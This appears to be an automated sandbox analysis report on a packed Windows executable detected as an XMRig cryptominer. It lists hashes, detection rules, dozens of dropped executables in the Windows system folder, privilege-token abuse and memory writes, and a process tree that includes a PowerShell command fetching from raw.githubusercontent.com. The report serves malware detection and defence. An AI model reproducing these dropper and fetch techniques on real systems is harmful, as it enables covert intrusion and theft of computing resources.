xmrig | b17e2bd0715b5104649449d2b8a3bf7a92dc5ec1b0f803a7cf6a7b4b8bc3343b

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 01:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
Size

2.2MB
MD5

02141015f564ba9aa35131c9d4bd9143
SHA1

9ebdec75476da02bb90f4941e11f592c97c2c640
SHA256

b17e2bd0715b5104649449d2b8a3bf7a92dc5ec1b0f803a7cf6a7b4b8bc3343b
SHA512

1d8034d45df95d9643f25571fa238e32b3c049d2b283fc277d765587974dee4d783f2dd0d68a662bc2dbde4d25e3ccad5a8585408133c05f4b6ae61fa5bff347
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfm:NABt

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 41 IoCs

miner

resource	yara_rule
behavioral2/memory/3448-26-0x00007FF66C500000-0x00007FF66C8F2000-memory.dmp	xmrig
behavioral2/memory/4092-40-0x00007FF66DEE0000-0x00007FF66E2D2000-memory.dmp	xmrig
behavioral2/memory/3272-62-0x00007FF6FD450000-0x00007FF6FD842000-memory.dmp	xmrig
behavioral2/memory/688-79-0x00007FF75D020000-0x00007FF75D412000-memory.dmp	xmrig
behavioral2/memory/4320-628-0x00007FF68C040000-0x00007FF68C432000-memory.dmp	xmrig
behavioral2/memory/2688-594-0x00007FF644C90000-0x00007FF645082000-memory.dmp	xmrig
behavioral2/memory/4200-589-0x00007FF78ADA0000-0x00007FF78B192000-memory.dmp	xmrig
behavioral2/memory/3852-580-0x00007FF755DC0000-0x00007FF7561B2000-memory.dmp	xmrig
behavioral2/memory/624-663-0x00007FF74F280000-0x00007FF74F672000-memory.dmp	xmrig
behavioral2/memory/1768-107-0x00007FF667DA0000-0x00007FF668192000-memory.dmp	xmrig
behavioral2/memory/1336-103-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp	xmrig
behavioral2/memory/4424-92-0x00007FF6B2790000-0x00007FF6B2B82000-memory.dmp	xmrig
behavioral2/memory/5104-91-0x00007FF7EC060000-0x00007FF7EC452000-memory.dmp	xmrig
behavioral2/memory/2924-86-0x00007FF670C30000-0x00007FF671022000-memory.dmp	xmrig
behavioral2/memory/8-44-0x00007FF6FB120000-0x00007FF6FB512000-memory.dmp	xmrig
behavioral2/memory/3380-2413-0x00007FF620680000-0x00007FF620A72000-memory.dmp	xmrig
behavioral2/memory/2592-2674-0x00007FF6058B0000-0x00007FF605CA2000-memory.dmp	xmrig
behavioral2/memory/3840-2675-0x00007FF7C7F00000-0x00007FF7C82F2000-memory.dmp	xmrig
behavioral2/memory/1376-2703-0x00007FF674B80000-0x00007FF674F72000-memory.dmp	xmrig
behavioral2/memory/848-2709-0x00007FF683060000-0x00007FF683452000-memory.dmp	xmrig
behavioral2/memory/3448-2711-0x00007FF66C500000-0x00007FF66C8F2000-memory.dmp	xmrig
behavioral2/memory/1736-2713-0x00007FF6581F0000-0x00007FF6585E2000-memory.dmp	xmrig
behavioral2/memory/4092-2715-0x00007FF66DEE0000-0x00007FF66E2D2000-memory.dmp	xmrig
behavioral2/memory/8-2717-0x00007FF6FB120000-0x00007FF6FB512000-memory.dmp	xmrig
behavioral2/memory/3272-2719-0x00007FF6FD450000-0x00007FF6FD842000-memory.dmp	xmrig
behavioral2/memory/3380-2721-0x00007FF620680000-0x00007FF620A72000-memory.dmp	xmrig
behavioral2/memory/5104-2723-0x00007FF7EC060000-0x00007FF7EC452000-memory.dmp	xmrig
behavioral2/memory/3840-2731-0x00007FF7C7F00000-0x00007FF7C82F2000-memory.dmp	xmrig
behavioral2/memory/2592-2730-0x00007FF6058B0000-0x00007FF605CA2000-memory.dmp	xmrig
behavioral2/memory/688-2726-0x00007FF75D020000-0x00007FF75D412000-memory.dmp	xmrig
behavioral2/memory/2924-2728-0x00007FF670C30000-0x00007FF671022000-memory.dmp	xmrig
behavioral2/memory/4424-2733-0x00007FF6B2790000-0x00007FF6B2B82000-memory.dmp	xmrig
behavioral2/memory/1376-2735-0x00007FF674B80000-0x00007FF674F72000-memory.dmp	xmrig
behavioral2/memory/1336-2738-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp	xmrig
behavioral2/memory/4200-2746-0x00007FF78ADA0000-0x00007FF78B192000-memory.dmp	xmrig
behavioral2/memory/2688-2743-0x00007FF644C90000-0x00007FF645082000-memory.dmp	xmrig
behavioral2/memory/1768-2742-0x00007FF667DA0000-0x00007FF668192000-memory.dmp	xmrig
behavioral2/memory/848-2740-0x00007FF683060000-0x00007FF683452000-memory.dmp	xmrig
behavioral2/memory/3852-2749-0x00007FF755DC0000-0x00007FF7561B2000-memory.dmp	xmrig
behavioral2/memory/624-2747-0x00007FF74F280000-0x00007FF74F672000-memory.dmp	xmrig
behavioral2/memory/4320-2751-0x00007FF68C040000-0x00007FF68C432000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
3448	HAVNLcm.exe
1736	EGzKSNy.exe
4092	RYIQXgD.exe
8	SxMHces.exe
3380	EWLiuvp.exe
3272	TngUrsA.exe
2592	zbxEkzd.exe
2924	nAPPWKg.exe
688	gsmdKnA.exe
5104	RjKgQbU.exe
3840	QsvTnUx.exe
4424	stsZDqJ.exe
1376	qtYVDeo.exe
1336	FeevnBF.exe
1768	ZhOerEC.exe
848	DUYuvQv.exe
3852	RkImYun.exe
4200	RhdgcZb.exe
2688	gIGVxgj.exe
4320	gkJSSMN.exe
624	ZEovnNi.exe
3376	FeNeHTA.exe
452	vbkNRBK.exe
3676	TIYKioy.exe
404	pcItopQ.exe
1092	omvNbZu.exe
4700	ezmUKof.exe
4608	YPwxuzx.exe
3788	fnxEXuU.exe
1604	imyQsHO.exe
3152	XQTbFOb.exe
2480	icCdrdP.exe
3912	vpjCbwH.exe
816	Ssahizt.exe
1944	gnXhDrv.exe
3128	SecIbYa.exe
2192	ZsKtENo.exe
4204	rccXtWT.exe
1080	FaqRHrm.exe
2264	vQNFiYj.exe
3828	jYvqmoO.exe
3340	zGFVqeE.exe
1652	OfTcwcT.exe
4392	efpHiMq.exe
3132	wWSImiI.exe
1696	QTkOUuR.exe
672	JZENQrC.exe
4600	mmNxlHA.exe
3504	ikxdKpS.exe
2856	BnFCiDj.exe
316	qrgKhIC.exe
5008	LctyVak.exe
4316	xtSWJtV.exe
1456	JODGXRi.exe
548	bYYpDoq.exe
1116	QAcTVVm.exe
532	TTdzgeG.exe
2020	adGaaFd.exe
4048	PznUdgs.exe
3664	HpykZdb.exe
4344	cYgFoaA.exe
3988	dhXyvGs.exe
2004	rkgSbhp.exe
1788	yHMcnqM.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1976-0-0x00007FF60EC80000-0x00007FF60F072000-memory.dmp	upx
behavioral2/files/0x000b000000023b8a-5.dat	upx
behavioral2/files/0x000a000000023b91-23.dat	upx
behavioral2/memory/3448-26-0x00007FF66C500000-0x00007FF66C8F2000-memory.dmp	upx
behavioral2/memory/1736-34-0x00007FF6581F0000-0x00007FF6585E2000-memory.dmp	upx
behavioral2/memory/4092-40-0x00007FF66DEE0000-0x00007FF66E2D2000-memory.dmp	upx
behavioral2/memory/3272-62-0x00007FF6FD450000-0x00007FF6FD842000-memory.dmp	upx
behavioral2/files/0x000a000000023b95-69.dat	upx
behavioral2/memory/2592-74-0x00007FF6058B0000-0x00007FF605CA2000-memory.dmp	upx
behavioral2/memory/688-79-0x00007FF75D020000-0x00007FF75D412000-memory.dmp	upx
behavioral2/memory/1376-85-0x00007FF674B80000-0x00007FF674F72000-memory.dmp	upx
behavioral2/files/0x000b000000023b8b-100.dat	upx
behavioral2/files/0x000a000000023b9b-104.dat	upx
behavioral2/files/0x000a000000023b9d-118.dat	upx
behavioral2/files/0x000a000000023b9f-132.dat	upx
behavioral2/files/0x000a000000023ba2-146.dat	upx
behavioral2/memory/4320-628-0x00007FF68C040000-0x00007FF68C432000-memory.dmp	upx
behavioral2/memory/2688-594-0x00007FF644C90000-0x00007FF645082000-memory.dmp	upx
behavioral2/memory/4200-589-0x00007FF78ADA0000-0x00007FF78B192000-memory.dmp	upx
behavioral2/memory/3852-580-0x00007FF755DC0000-0x00007FF7561B2000-memory.dmp	upx
behavioral2/files/0x000a000000023bac-191.dat	upx
behavioral2/files/0x000a000000023baa-187.dat	upx
behavioral2/files/0x000a000000023bab-186.dat	upx
behavioral2/files/0x000a000000023ba9-181.dat	upx
behavioral2/files/0x000a000000023ba8-177.dat	upx
behavioral2/files/0x000a000000023ba7-171.dat	upx
behavioral2/files/0x000a000000023ba6-167.dat	upx
behavioral2/files/0x000a000000023ba5-161.dat	upx
behavioral2/files/0x000a000000023ba4-157.dat	upx
behavioral2/files/0x000a000000023ba3-152.dat	upx
behavioral2/files/0x000a000000023ba1-142.dat	upx
behavioral2/memory/624-663-0x00007FF74F280000-0x00007FF74F672000-memory.dmp	upx
behavioral2/files/0x000a000000023ba0-137.dat	upx
behavioral2/files/0x000a000000023b9e-126.dat	upx
behavioral2/files/0x000a000000023b9c-114.dat	upx
behavioral2/memory/848-108-0x00007FF683060000-0x00007FF683452000-memory.dmp	upx
behavioral2/memory/1768-107-0x00007FF667DA0000-0x00007FF668192000-memory.dmp	upx
behavioral2/memory/1336-103-0x00007FF7264D0000-0x00007FF7268C2000-memory.dmp	upx
behavioral2/files/0x000a000000023b9a-98.dat	upx
behavioral2/memory/4424-92-0x00007FF6B2790000-0x00007FF6B2B82000-memory.dmp	upx
behavioral2/memory/5104-91-0x00007FF7EC060000-0x00007FF7EC452000-memory.dmp	upx
behavioral2/files/0x000a000000023b98-89.dat	upx
behavioral2/files/0x000a000000023b99-87.dat	upx
behavioral2/memory/2924-86-0x00007FF670C30000-0x00007FF671022000-memory.dmp	upx
behavioral2/memory/3840-84-0x00007FF7C7F00000-0x00007FF7C82F2000-memory.dmp	upx
behavioral2/files/0x000a000000023b97-80.dat	upx
behavioral2/files/0x000a000000023b96-75.dat	upx
behavioral2/files/0x000a000000023b94-67.dat	upx
behavioral2/files/0x000b000000023b8f-57.dat	upx
behavioral2/files/0x000a000000023b92-51.dat	upx
behavioral2/memory/3380-50-0x00007FF620680000-0x00007FF620A72000-memory.dmp	upx
behavioral2/files/0x000a000000023b93-48.dat	upx
behavioral2/memory/8-44-0x00007FF6FB120000-0x00007FF6FB512000-memory.dmp	upx
behavioral2/files/0x000b000000023b90-38.dat	upx
behavioral2/files/0x000a000000023b8e-29.dat	upx
behavioral2/memory/3380-2413-0x00007FF620680000-0x00007FF620A72000-memory.dmp	upx
behavioral2/memory/2592-2674-0x00007FF6058B0000-0x00007FF605CA2000-memory.dmp	upx
behavioral2/memory/3840-2675-0x00007FF7C7F00000-0x00007FF7C82F2000-memory.dmp	upx
behavioral2/memory/1376-2703-0x00007FF674B80000-0x00007FF674F72000-memory.dmp	upx
behavioral2/memory/848-2709-0x00007FF683060000-0x00007FF683452000-memory.dmp	upx
behavioral2/memory/3448-2711-0x00007FF66C500000-0x00007FF66C8F2000-memory.dmp	upx
behavioral2/memory/1736-2713-0x00007FF6581F0000-0x00007FF6585E2000-memory.dmp	upx
behavioral2/memory/4092-2715-0x00007FF66DEE0000-0x00007FF66E2D2000-memory.dmp	upx
behavioral2/memory/8-2717-0x00007FF6FB120000-0x00007FF6FB512000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\SnddZcb.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\WWTNTXJ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\wVHcfDs.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\fvnVPrY.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\kGbwZqk.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\rrKHTzS.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\JlwbuWE.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\PadzWCN.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\CQJAdyO.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\pkowSKa.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\QTxvstn.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\EgSHziK.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\LHxDneg.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\ODgtFJO.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\eRkyJGJ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\uzGBqCh.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\NIozHLW.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\KHQBfxS.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\RFrrVnI.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\YBQipYZ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\pEFndPN.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\yYGgMzW.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\jZfktAA.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\zrRwnEp.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\uqrprYB.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\FzUDGCa.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\ZgzXqPr.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\RziKddT.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\lXqzFNX.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\IqntNZo.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\xPTlXQJ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\SuINdZW.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\kpmNiMm.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\pUFTwmE.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\YPwxuzx.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\adGaaFd.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\sbPzgOb.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\yxLSNGa.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\WBwIcBL.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\LIiYcNr.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\EXhYCKa.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\QKWbliJ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\SorDKNG.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\eHdCSJn.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\sEyUIoZ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\HnMjkno.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\URzvlLo.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\qKLGolj.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\dzQfaNr.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\kiWJVJo.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\dQDcJLz.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\GjBdUEH.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\ZcVlvow.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\rPRXKHn.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\asZiWDo.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\krscHVQ.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\QeYNQSx.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\FJqajyN.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\lQXYmZn.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\dCxtouc.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\knfdwPb.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\mUMxpJu.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\xdfazVu.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
File created	C:\Windows\System\mEKLkQN.exe	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2352	powershell.exe
2352	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
Token: SeDebugPrivilege	2352	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2352	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	85
PID 1976 wrote to memory of 2352	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	85
PID 1976 wrote to memory of 3448	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	86
PID 1976 wrote to memory of 3448	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	86
PID 1976 wrote to memory of 1736	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	87
PID 1976 wrote to memory of 1736	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	87
PID 1976 wrote to memory of 4092	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	88
PID 1976 wrote to memory of 4092	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	88
PID 1976 wrote to memory of 3380	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	89
PID 1976 wrote to memory of 3380	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	89
PID 1976 wrote to memory of 8	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	90
PID 1976 wrote to memory of 8	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	90
PID 1976 wrote to memory of 3272	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	91
PID 1976 wrote to memory of 3272	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	91
PID 1976 wrote to memory of 2592	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	92
PID 1976 wrote to memory of 2592	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	92
PID 1976 wrote to memory of 2924	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	93
PID 1976 wrote to memory of 2924	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	93
PID 1976 wrote to memory of 688	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	94
PID 1976 wrote to memory of 688	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	94
PID 1976 wrote to memory of 5104	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	95
PID 1976 wrote to memory of 5104	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	95
PID 1976 wrote to memory of 3840	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	96
PID 1976 wrote to memory of 3840	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	96
PID 1976 wrote to memory of 1376	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	97
PID 1976 wrote to memory of 1376	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	97
PID 1976 wrote to memory of 4424	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	98
PID 1976 wrote to memory of 4424	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	98
PID 1976 wrote to memory of 1336	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	99
PID 1976 wrote to memory of 1336	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	99
PID 1976 wrote to memory of 1768	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	100
PID 1976 wrote to memory of 1768	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	100
PID 1976 wrote to memory of 848	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	101
PID 1976 wrote to memory of 848	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	101
PID 1976 wrote to memory of 3852	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	102
PID 1976 wrote to memory of 3852	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	102
PID 1976 wrote to memory of 4200	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	103
PID 1976 wrote to memory of 4200	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	103
PID 1976 wrote to memory of 2688	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	104
PID 1976 wrote to memory of 2688	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	104
PID 1976 wrote to memory of 4320	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	105
PID 1976 wrote to memory of 4320	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	105
PID 1976 wrote to memory of 624	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	106
PID 1976 wrote to memory of 624	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	106
PID 1976 wrote to memory of 3376	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	107
PID 1976 wrote to memory of 3376	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	107
PID 1976 wrote to memory of 452	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	108
PID 1976 wrote to memory of 452	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	108
PID 1976 wrote to memory of 3676	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	109
PID 1976 wrote to memory of 3676	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	109
PID 1976 wrote to memory of 404	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	110
PID 1976 wrote to memory of 404	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	110
PID 1976 wrote to memory of 1092	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	111
PID 1976 wrote to memory of 1092	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	111
PID 1976 wrote to memory of 4700	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	112
PID 1976 wrote to memory of 4700	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	112
PID 1976 wrote to memory of 4608	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	113
PID 1976 wrote to memory of 4608	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	113
PID 1976 wrote to memory of 3788	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	114
PID 1976 wrote to memory of 3788	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	114
PID 1976 wrote to memory of 1604	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	115
PID 1976 wrote to memory of 1604	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	115
PID 1976 wrote to memory of 3152	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	116
PID 1976 wrote to memory of 3152	1976	02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe	116

C:\Users\Admin\AppData\Local\Temp\02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\02141015f564ba9aa35131c9d4bd9143_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\System\HAVNLcm.exe
  C:\Windows\System\HAVNLcm.exe
  2⤵
  - Executes dropped EXE
  PID:3448
- C:\Windows\System\EGzKSNy.exe
  C:\Windows\System\EGzKSNy.exe
  2⤵
  - Executes dropped EXE
  PID:1736
- C:\Windows\System\RYIQXgD.exe
  C:\Windows\System\RYIQXgD.exe
  2⤵
  - Executes dropped EXE
  PID:4092
- C:\Windows\System\EWLiuvp.exe
  C:\Windows\System\EWLiuvp.exe
  2⤵
  - Executes dropped EXE
  PID:3380
- C:\Windows\System\SxMHces.exe
  C:\Windows\System\SxMHces.exe
  2⤵
  - Executes dropped EXE
  PID:8
- C:\Windows\System\TngUrsA.exe
  C:\Windows\System\TngUrsA.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\zbxEkzd.exe
  C:\Windows\System\zbxEkzd.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\nAPPWKg.exe
  C:\Windows\System\nAPPWKg.exe
  2⤵
  - Executes dropped EXE
  PID:2924
- C:\Windows\System\gsmdKnA.exe
  C:\Windows\System\gsmdKnA.exe
  2⤵
  - Executes dropped EXE
  PID:688
- C:\Windows\System\RjKgQbU.exe
  C:\Windows\System\RjKgQbU.exe
  2⤵
  - Executes dropped EXE
  PID:5104
- C:\Windows\System\QsvTnUx.exe
  C:\Windows\System\QsvTnUx.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\qtYVDeo.exe
  C:\Windows\System\qtYVDeo.exe
  2⤵
  - Executes dropped EXE
  PID:1376
- C:\Windows\System\stsZDqJ.exe
  C:\Windows\System\stsZDqJ.exe
  2⤵
  - Executes dropped EXE
  PID:4424
- C:\Windows\System\FeevnBF.exe
  C:\Windows\System\FeevnBF.exe
  2⤵
  - Executes dropped EXE
  PID:1336
- C:\Windows\System\ZhOerEC.exe
  C:\Windows\System\ZhOerEC.exe
  2⤵
  - Executes dropped EXE
  PID:1768
- C:\Windows\System\DUYuvQv.exe
  C:\Windows\System\DUYuvQv.exe
  2⤵
  - Executes dropped EXE
  PID:848
- C:\Windows\System\RkImYun.exe
  C:\Windows\System\RkImYun.exe
  2⤵
  - Executes dropped EXE
  PID:3852
- C:\Windows\System\RhdgcZb.exe
  C:\Windows\System\RhdgcZb.exe
  2⤵
  - Executes dropped EXE
  PID:4200
- C:\Windows\System\gIGVxgj.exe
  C:\Windows\System\gIGVxgj.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\gkJSSMN.exe
  C:\Windows\System\gkJSSMN.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\ZEovnNi.exe
  C:\Windows\System\ZEovnNi.exe
